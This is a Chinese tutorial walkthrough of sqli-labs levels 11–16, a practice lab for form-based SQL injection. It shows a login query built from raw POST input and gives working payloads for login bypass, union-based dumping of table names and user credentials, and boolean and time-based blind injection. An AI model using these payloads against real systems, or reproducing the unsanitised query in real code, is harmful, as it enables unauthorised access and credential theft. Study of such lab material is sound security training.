表单注入——sqli-labs第11~16关

目录

    • 第11关
      • 0、万能账号、密码的前提
      • 1、判断是否POST注入
      • 2、猜测后台SQL语句
      • 3、判断闭合符
      • 4 、查询列数
      • 5、找显示位
      • 6、查库名
      • 7、查表名
      • 8、查列名
      • 9、找账号密码
    • 第12关
    • 第13关
    • 第14关
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
    • 第15关
    • 第16关

第11关

0、万能账号、密码的前提

登录的验证方式如下面这种

……
$Name = $_POST['userName'];
$pwd  = $_POST['password'];

$loginSQL = "select * from users where userName='$Name' and password='$pwd'";
echo $loginSQL;
$resultLogin = mysql_query($loginSQL);
if (mysql_num_rows($resultLogin) > 0) {
    echo "登录成功";
} else {
    echo "登录失败";
}
closeConnect();
……

重点是这句话

select * from users where userName='$Name' and password='$pwd'

加入 ' or 1# 后,变成这样:

select * from users where userName='$Name   ' or 1#         ' and password='$pwd'"

#后面都被注释,即此语句恒为真。所以登录成功

1、判断是否POST注入

观察是post还是get
可以看url的变化,或者看源码
1.
表单注入——sqli-labs第11~16关_第1张图片
2.

表单注入——sqli-labs第11~16关_第2张图片

2、猜测后台SQL语句

3、判断闭合符

在表单里分别输入XXXX' or 1# , xxxx" or 1#。然后按下submit,观察反应

表单注入——sqli-labs第11~16关_第3张图片表单注入——sqli-labs第11~16关_第4张图片
发现单引号是闭合符

4 、查询列数

xxxx ' order by 3 #
xxxx ' order by 2 #

表单注入——sqli-labs第11~16关_第5张图片

表单注入——sqli-labs第11~16关_第6张图片

说明是两列。

5、找显示位

表单注入——sqli-labs第11~16关_第7张图片
表单注入——sqli-labs第11~16关_第8张图片

6、查库名

cwa' union select 1,database()#

表单注入——sqli-labs第11~16关_第9张图片

7、查表名

cwa' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

表单注入——sqli-labs第11~16关_第10张图片

8、查列名

cwa' union select 1,group_concat(column_name) from information_schema.COLUMNs where table_schema='security' and table_name='users'#

表单注入——sqli-labs第11~16关_第11张图片

9、找账号密码

cwa' union select 1,group_concat(concat_ws(",",username,password) SEPARATOR "|") from users #

表单注入——sqli-labs第11~16关_第12张图片

第12关

和第11关一样,只不过闭合符是")

第13关

查列数
admin') order by 2#

表单注入——sqli-labs第11~16关_第13张图片
查显示位,没有输出
admin') union select 1,2#
表单注入——sqli-labs第11~16关_第14张图片

所以使用布尔盲注,参考第五关的第二种方法

第14关

1

……
ibeb’ order by 5#
ibeb") order by 5#
ibeb’) order by 5#

ibeb" order by 5#

找出闭合符是"
表单注入——sqli-labs第11~16关_第15张图片

2

两列

wsgver" order by 2 #

表单注入——sqli-labs第11~16关_第16张图片
发现不回显,所以可以使用延迟盲注

fwfwf" union select 1,2#

表单注入——sqli-labs第11~16关_第17张图片

3

ibeb" or if(3>2,sleep(2),1)#

发现延迟不止2秒,猜测应该是查询的数据太多,每个数据延迟2秒,加起来就很长时间了。所以可以把延迟时间改为0.2,可以减少等待的时间。
表单注入——sqli-labs第11~16关_第18张图片

4

数据库名是8位
vvwc" or if(length(database())>7,sleep(3),1) #
vvwc" or if(length(database())>8,sleep(3),1) #

5

第一位的ASCII值是115,是s
vvwc" or if(ascii(substr(database(),1,1))>114,sleep(3),1) #
vvwc" or if(ascii(substr(database(),1,1))>115,sleep(3),1) #

6

…………

第15关

闭合符是'
可以使用布尔盲注

第16关

闭合符是")

你可能感兴趣的:(sql注入,sql)